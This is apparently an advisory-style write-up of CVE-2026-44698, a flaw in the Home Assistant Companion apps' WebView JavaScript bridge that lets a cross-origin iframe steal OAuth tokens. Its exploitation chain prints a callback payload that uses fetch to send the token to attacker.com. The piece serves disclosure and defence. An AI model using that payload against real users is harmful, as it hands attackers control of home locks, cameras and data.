Home Assistant Companion App CVE-2026-44698: Quick Look at Cross-Origin Token Exfiltration via WebView JavaScript Bridge

Introduction

Two flaws in the Home Assistant Companion apps for Android and iOS let a cross-origin iframe inside the app's WebView steal the signed-in user's OAuth 2.0 access token. That token grants full API control over the smart home instance, including locks, cameras, and climate systems. Home Assistant runs in more than 2 million households and ranks as the second most active open source project on GitHub, so the blast radius of CVE-2026-44698 (CVSS 8.3) is far larger than that of a typical mobile app vulnerability.

Home Assistant is an open source home automation platform built around local control and privacy. It supports over 3,000 device brands and drew 21,000 contributors in a single year, which makes it one of the most significant open source projects in the IoT ecosystem. The Companion apps for Android and iOS are its primary mobile interface. They use a WebView to render the Home Assistant frontend and a native JavaScript bridge to handle authentication.

Technical Information

CVE-2026-44698 lets a cross-origin iframe exfiltrate the user's access token by injecting a callback into the WebView JavaScript bridge that the Home Assistant Companion apps expose. The attack depends on two separate design flaws working together. Neither one alone produces the full impact.

Flaw 1: JavaScript Bridge Exposed to All Frames

The Companion apps expose a JavaScript bridge to the in-app WebView for authentication. The Android and iOS implementations differ, but they share the same weakness:

Android: addJavascriptInterface() injects the bridge object window.externalApp into the JavaScript global scope of every frame, including cross-origin iframes. The addJavascriptInterface API has no built-in way to limit injection to the main frame.

iOS: The bridge is exposed through webkit.messageHandlers.getExternalAuth, alongside revokeExternalAuth and externalBus. The SafeScriptMessageHandler implementation did not check WKFrameInfo.isMainFrame, so it never limited access to the main frame.

As a result, any cross-origin iframe rendered in the Companion app's WebView can call the bridge methods. That breaks the same-origin boundary the bridge implicitly relied on for protection.

Flaw 2: Unsanitized Callback Identifier Interpolation

The callback field of the JSON payload passed to getExternalAuth (and revokeExternalAuth) was not sanitized. The app interpolated it verbatim into a JavaScript string of this form:

<callback>(true, <auth-json>)

The app then passed that string to WebView.evaluateJavascript() on Android and WKWebView.evaluateJavaScript(_:) on iOS. Both functions always run JavaScript in the main frame's context, whichever frame initiated the call. So a call that starts in a cross-origin iframe ends up executing with the privileges and origin of the Home Assistant frontend's main frame.

Combined Exploitation Chain

An attacker chains the two flaws by supplying an IIFE (Immediately Invoked Function Expression) as the callback value. The attack runs like this:

1. The attacker hosts a malicious web page on a domain they control.
2. The page loads as a cross-origin iframe inside the Home Assistant dashboard. The most realistic route is the built-in Webpage card, which renders an arbitrary URL as a cross-origin <iframe>.
3. From inside the iframe, the attacker's JavaScript calls the bridge method getExternalAuth with a crafted callback value such as (function(auth){fetch('https://attacker.com/?token='+auth.token)}).
4. The Companion app interpolates the unsanitized callback into the JavaScript string, producing something like (function(auth){fetch('https://attacker.com/?token='+auth.token)})(true, <auth-json>).
5. The app evaluates this string with evaluateJavascript() or evaluateJavaScript() in the main frame's context, so the attacker's code runs with access to the Home Assistant frontend's origin.
6. The signed-in user's access token arrives as a function argument, and the attacker's code sends it to the attacker's server.

Impact

The stolen token is a standard OAuth 2.0 bearer token with full REST API access. For the token's lifetime, its holder can call services, read entity states, and manage automations, scripts, and users. In a smart home, that means an attacker could unlock doors, disable security cameras, manipulate climate controls, or extract sensitive household data.

Cross-origin iframes can also reach the revokeExternalAuth bridge endpoint. Calling it revokes the victim's refresh token and deletes the server entry from the app, which effectively locks the user out of their own Home Assistant instance through the companion app.

CWE Classification

The vulnerability is classified under four CWEs because it combines several weaknesses:

Platform-Specific Fix Differences

The Android and iOS fixes landed in different versions (2026.4.4 and 2026.4.1), which reflects how differently the two platforms implement the bridge. On Android, addJavascriptInterface injects the bridge object into every frame's global scope by design, so restricting access takes a fundamentally different approach. On iOS, the WKScriptMessageHandler protocol provides WKFrameInfo for origin checking, but the SafeScriptMessageHandler wrapper failed to use it. Both platforms shared the callback sanitization flaw.

Affected Systems and Versions

The following Home Assistant Companion app versions are affected:

• iOS: All versions prior to 2026.4.1
• Android: All versions prior to 2026.4.4

The vulnerability is exploitable when the Companion app renders a dashboard containing a Webpage card (or any other mechanism that loads a cross-origin iframe) pointing to an attacker-controlled URL. The Home Assistant Core server version is not directly affected. The vulnerability lives entirely in the WebView bridge implementation of the mobile Companion app.

Vendor Security History

OpenCVE tracks 21 CVEs for Home Assistant, from 2017 through 2026: one in 2017, 11 in 2023, none in 2024, one in 2025, and multiple new entries in 2026.

Notable earlier vulnerabilities include:

Home Assistant Green was explicitly targeted at Pwn2Own Ireland 2025. On Day One of the competition, the Summoning Team (McCaulay Hudson) exploited it with four separate zero-day flaws. Being included in Pwn2Own signals that security researchers see Home Assistant as a target that is both valuable and achievable. After Pwn2Own events, vendors get 90 days to release security updates before Trend Micro's Zero Day Initiative discloses the flaws publicly.

The project has a formal security policy with responsible disclosure requirements and a 90-day patch window. Home Assistant does not pay monetary bounties, but it credits discoverers publicly. For the 2023 supervisor security disclosure, the project published a blog post and a detailed FAQ and credited the discoverer.

Outside Home Assistant, Android's addJavascriptInterface mechanism has a well-documented history of security issues, including a widely known remote code execution vulnerability in Android versions prior to 4.2. WebView native bridges are a known weak point in mobile app architecture, and Android's own developer documentation warns about the risks of insecure ones.

References

• NVD: CVE-2026-44698
• GitHub Security Advisory: GHSA-7jp2-p2fw-mgvf (Cross-origin iframe access token exfiltration via WebView JS Bridge)
• Home Assistant Security Policy
• Home Assistant Companion Docs
• Home-assistant CVEs and Security Vulnerabilities on OpenCVE
• CISA Known Exploited Vulnerabilities Catalog
• GitHub Blog: "The local-first rebellion": How Home Assistant became the most important project in your house
• Zero Day Initiative: Pwn2Own Ireland 2025 Day One Results
• VulnCheck State of Exploitation 2026
• WithSecure Labs: WebView addJavascriptInterface Remote Code Execution
• Android Developer Docs: WebView Native Bridges Security
• Zellic: You're Probably Using WebViews Wrong
• Home Assistant Android Releases
• Home Assistant iOS Releases
• Home Assistant Supervisor Security Disclosure (2023)
• Home Assistant Community: List of vulnerabilities (CVEs)